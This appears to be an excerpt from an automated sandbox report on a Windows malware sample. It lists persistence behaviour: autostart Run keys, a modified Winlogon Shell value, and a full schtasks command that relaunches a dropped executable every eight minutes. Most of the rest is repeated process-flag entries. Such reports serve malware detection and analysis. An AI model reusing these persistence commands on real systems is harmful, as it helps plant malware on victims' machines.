Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\comReviewintocommon\driverSavesNet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run driverSavesNet			Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\comReviewintocommon\driverSavesNet.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "gNKaMdWfDFzDkhEeKzQg" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe'" /f

Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run driverSavesNet	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run driverSavesNet	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run gNKaMdWfDFzDkhEeKzQ	Jump to behavior

Source: C:\Users\user\Desktop\fluent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Process information set: NOOPENFILEERRORBOX
